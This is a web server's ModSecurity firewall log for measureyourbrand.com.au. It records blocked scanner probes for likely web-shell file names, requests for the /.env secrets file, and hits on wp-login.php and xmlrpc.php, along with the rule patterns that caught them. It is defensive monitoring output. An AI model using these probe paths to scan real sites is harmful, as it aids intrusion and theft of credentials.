[Mon Nov 17 05:10:39.532823 2025] [:error] [pid 39450:tid 39494] [client 48.218.71.119:6811] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aRo9z-oZqPB4_7vNEDSMQAAAAE0"]
[Mon Nov 17 05:10:39.973720 2025] [:error] [pid 39449:tid 39478] [client 48.218.71.119:7153] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "aRo9z6UCymTA3MDfzLOFNAAAABg"]
[Mon Nov 17 05:10:40.497067 2025] [:error] [pid 39451:tid 39508] [client 48.218.71.119:6750] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aRo90OfgkqXTS0SO3fBiBwAAAIA"]
[Mon Nov 17 05:10:41.101256 2025] [:error] [pid 39537:tid 39542] [client 48.218.71.119:6810] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aRo90YZRrh1pcrdcLB_PKAAAAMI"]
[Mon Nov 17 05:10:41.538358 2025] [:error] [pid 39451:tid 39532] [client 48.218.71.119:6748] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aRo90efgkqXTS0SO3fBiCwAAAJg"]
[Mon Nov 17 05:10:42.308672 2025] [:error] [pid 39537:tid 39543] [client 48.218.71.119:6899] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aRo90oZRrh1pcrdcLB_PLAAAAMM"]
[Mon Nov 17 05:10:42.926818 2025] [:error] [pid 39450:tid 39484] [client 48.218.71.119:7119] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/awh77.php"] [unique_id "aRo90uoZqPB4_7vNEDSMRQAAAEM"]
[Mon Nov 17 05:10:43.729096 2025] [:error] [pid 40548:tid 40573] [client 48.218.71.119:7106] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/awh77.php"] [unique_id "aRo90wM_PykfYnxh-j-jfwAAARc"]
[Mon Nov 17 05:10:44.849351 2025] [:error] [pid 40548:tid 40554] [client 48.218.71.119:6754] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/awh77.php"] [unique_id "aRo91AM_PykfYnxh-j-jiQAAAQQ"]
[Mon Nov 17 05:10:45.684662 2025] [:error] [pid 39449:tid 39464] [client 48.218.71.119:6740] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/awh77.php"] [unique_id "aRo91aUCymTA3MDfzLOFOQAAAAo"]
[Mon Nov 17 05:10:46.685226 2025] [:error] [pid 40548:tid 40570] [client 48.218.71.119:7058] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nax.php"] [unique_id "aRo91gM_PykfYnxh-j-jmAAAARQ"]
[Mon Nov 17 05:10:47.213721 2025] [:error] [pid 39537:tid 39550] [client 48.218.71.119:6743] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nax.php"] [unique_id "aRo914ZRrh1pcrdcLB_PMQAAAMo"]
[Mon Nov 17 05:10:48.230756 2025] [:error] [pid 39451:tid 39512] [client 48.218.71.119:7054] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nax.php"] [unique_id "aRo92OfgkqXTS0SO3fBiDwAAAIQ"]
[Mon Nov 17 05:10:48.731816 2025] [:error] [pid 39451:tid 39517] [client 48.218.71.119:7136] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nax.php"] [unique_id "aRo92OfgkqXTS0SO3fBiEQAAAIk"]
[Mon Nov 17 05:10:49.296840 2025] [:error] [pid 39449:tid 39463] [client 48.218.71.119:6777] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aRo92aUCymTA3MDfzLOFPwAAAAk"]
[Mon Nov 17 05:10:50.377268 2025] [:error] [pid 40548:tid 40572] [client 48.218.71.119:7162] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aRo92gM_PykfYnxh-j-jqwAAARY"]
[Mon Nov 17 05:10:51.129771 2025] [:error] [pid 40548:tid 40568] [client 48.218.71.119:7037] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aRo92wM_PykfYnxh-j-jsQAAARI"]
[Mon Nov 17 05:10:51.767862 2025] [:error] [pid 39449:tid 39476] [client 48.218.71.119:6817] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aRo926UCymTA3MDfzLOFQQAAABY"]
[Mon Nov 17 05:10:52.477870 2025] [:error] [pid 39451:tid 39522] [client 48.218.71.119:7040] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mtvcrew.php"] [unique_id "aRo93OfgkqXTS0SO3fBiGwAAAI4"]
[Mon Nov 17 05:10:53.065081 2025] [:error] [pid 39451:tid 39529] [client 48.218.71.119:7066] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mtvcrew.php"] [unique_id "aRo93efgkqXTS0SO3fBiHQAAAJU"]
[Mon Nov 17 05:10:53.844918 2025] [:error] [pid 39537:tid 39549] [client 48.218.71.119:7073] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mtvcrew.php"] [unique_id "aRo93YZRrh1pcrdcLB_PNwAAAMk"]
[Mon Nov 17 05:10:54.266832 2025] [:error] [pid 39537:tid 39557] [client 48.218.71.119:6663] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mtvcrew.php"] [unique_id "aRo93oZRrh1pcrdcLB_POAAAANE"]
[Mon Nov 17 05:10:55.482276 2025] [:error] [pid 39449:tid 39459] [client 48.218.71.119:6752] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/twso.php"] [unique_id "aRo936UCymTA3MDfzLOFSgAAAAU"]
[Mon Nov 17 05:10:56.126892 2025] [:error] [pid 40548:tid 40551] [client 48.218.71.119:6751] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/twso.php"] [unique_id "aRo94AM_PykfYnxh-j-jvgAAAQE"]
[Mon Nov 17 05:10:56.885455 2025] [:error] [pid 40548:tid 40569] [client 48.218.71.119:7147] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/twso.php"] [unique_id "aRo94AM_PykfYnxh-j-jwAAAARM"]
[Mon Nov 17 05:10:57.378657 2025] [:error] [pid 40548:tid 40559] [client 48.218.71.119:7157] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/twso.php"] [unique_id "aRo94QM_PykfYnxh-j-jwwAAAQk"]
[Mon Nov 17 05:10:57.921609 2025] [:error] [pid 40548:tid 40573] [client 48.218.71.119:7077] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aRo94QM_PykfYnxh-j-jzQAAARc"]
[Mon Nov 17 05:10:58.338433 2025] [:error] [pid 39449:tid 39454] [client 48.218.71.119:7139] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aRo94qUCymTA3MDfzLOFUAAAAAA"]
[Mon Nov 17 05:10:58.899452 2025] [:error] [pid 39450:tid 39482] [client 48.218.71.119:6881] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aRo94uoZqPB4_7vNEDSMdAAAAEE"]
[Mon Nov 17 05:10:59.254274 2025] [:error] [pid 39537:tid 39563] [client 48.218.71.119:7134] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/144.php"] [unique_id "aRo944ZRrh1pcrdcLB_PQwAAANc"]
[Mon Nov 17 05:10:59.683745 2025] [:error] [pid 39451:tid 39523] [client 48.218.71.119:7128] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/exhitrgp.php"] [unique_id "aRo94-fgkqXTS0SO3fBiIAAAAI8"]
[Mon Nov 17 05:11:00.273808 2025] [:error] [pid 39449:tid 39477] [client 48.218.71.119:7129] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/exhitrgp.php"] [unique_id "aRo95KUCymTA3MDfzLOFVQAAABc"]
[Mon Nov 17 05:11:00.634295 2025] [:error] [pid 39537:tid 39558] [client 48.218.71.119:6824] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/exhitrgp.php"] [unique_id "aRo95IZRrh1pcrdcLB_PRwAAANI"]
[Mon Nov 17 05:11:01.058700 2025] [:error] [pid 39450:tid 39502] [client 48.218.71.119:7103] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/exhitrgp.php"] [unique_id "aRo95eoZqPB4_7vNEDSMggAAAFU"]
[Mon Nov 17 05:11:01.503683 2025] [:error] [pid 39537:tid 39545] [client 48.218.71.119:7075] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aRo95YZRrh1pcrdcLB_PTAAAAMU"]
[Mon Nov 17 05:11:01.995990 2025] [:error] [pid 40548:tid 40558] [client 48.218.71.119:7091] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aRo95QM_PykfYnxh-j-j4gAAAQg"]
[Mon Nov 17 05:11:02.678048 2025] [:error] [pid 39450:tid 39491] [client 48.218.71.119:6602] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aRo95uoZqPB4_7vNEDSMkAAAAEo"]
[Mon Nov 17 05:11:02.908917 2025] [:error] [pid 39450:tid 39483] [client 48.218.71.119:6905] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aRo95uoZqPB4_7vNEDSMlAAAAEI"]
[Mon Nov 17 11:39:02.617421 2025] [:error] [pid 39537:tid 39544] [client 49.51.72.76:44718] [client 49.51.72.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRqY1oZRrh1pcrdcLB9wNwAAAMQ"]
[Mon Nov 17 17:42:25.733372 2025] [:error] [pid 31419:tid 31434] [client 222.79.103.59:42286] [client 222.79.103.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRruAQHQ5Sbp7elmDZh7FgAAAo0"]
[Tue Nov 18 00:29:50.189664 2025] [:error] [pid 39189:tid 39209] [client 175.6.217.4:53846] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRtNfpJJLi753QwyqGy_6AAAAJA"]
[Tue Nov 18 00:40:59.511169 2025] [:error] [pid 39189:tid 39208] [client 34.172.109.36:34844] [client 34.172.109.36] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aRtQG5JJLi753QwyqGzEnQAAAI8"]
[Tue Nov 18 00:49:49.395380 2025] [:error] [pid 40553:tid 40593] [client 34.69.173.210:51760] [client 34.69.173.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aRtSLduLE1BqoX0RcsLcOAAAABg"]
[Tue Nov 18 03:15:36.019624 2025] [:error] [pid 24870:tid 24873] [client 109.230.206.178:59091] [client 109.230.206.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.230.206.178, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aRt0WEJikHM3JIuypXrWKAAAAgE"], referer: https://www.google.com
[Tue Nov 18 03:15:37.451738 2025] [:error] [pid 24898:tid 24909] [client 109.230.206.178:59334] [client 109.230.206.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.230.206.178, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aRt0WWQbwxb61buaxA9vmgAAAkg"], referer: https://www.google.com
[Tue Nov 18 03:27:23.116066 2025] [:error] [pid 39644:tid 39708] [client 109.230.206.178:57542] [client 109.230.206.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.230.206.178, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp/wp-login.php"] [unique_id "aRt3G-URIAAEDxhC3evAeAAAAIM"], referer: https://www.google.com
[Tue Nov 18 03:27:24.642960 2025] [:error] [pid 39637:tid 39696] [client 109.230.206.178:57765] [client 109.230.206.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.230.206.178, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/wp/wp-login.php"] [unique_id "aRt3HKVmhXKozkT7oyMWkwAAAFI"], referer: https://www.google.com
[Tue Nov 18 03:39:00.224692 2025] [:error] [pid 43154:tid 43162] [client 109.230.206.178:59043] [client 109.230.206.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.230.206.178, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aRt51Bss0cH8aoO-cLKuRgAAAMM"], referer: https://www.google.com
[Tue Nov 18 03:39:01.748935 2025] [:error] [pid 43154:tid 43161] [client 109.230.206.178:59245] [client 109.230.206.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.230.206.178, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/index.php/wordpress/wp-login.php"] [unique_id "aRt51Rss0cH8aoO-cLKuRwAAAMI"], referer: https://www.google.com
[Tue Nov 18 06:02:51.465803 2025] [:error] [pid 61393:tid 61456] [client 34.69.173.210:52616] [client 34.69.173.210] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aRubi2H9XjlbVPv9gQUceQAAAIA"]
[Tue Nov 18 06:38:40.452098 2025] [:error] [pid 42804:tid 42815] [client 182.42.105.85:42354] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRuj8PpXARlE6tIuBnle8wAAAUk"]
[Tue Nov 18 10:34:49.645272 2025] [:error] [pid 61392:tid 61449] [client 192.42.116.203:11309] [client 192.42.116.203] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "114.119.141.100_2f20390f4bf2c71a212308cf7c6fbb784b1f8cbf"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php/AutomatedBusinessLanding"] [unique_id "aRvbRnSmvb496zZxueIUDgAAAFQ"], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Tue Nov 18 12:04:43.462626 2025] [:error] [pid 44471:tid 44520] [client 103.164.211.83:65068] [client 103.164.211.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.164.211.83, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aRvwW-_6m0bQO14XwtPdUAAAARA"]
[Tue Nov 18 13:00:28.906284 2025] [:error] [pid 1387:tid 1404] [client 182.42.111.213:47757] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRv9bEzBvalKyx3hMvXVgQAAAAs"]
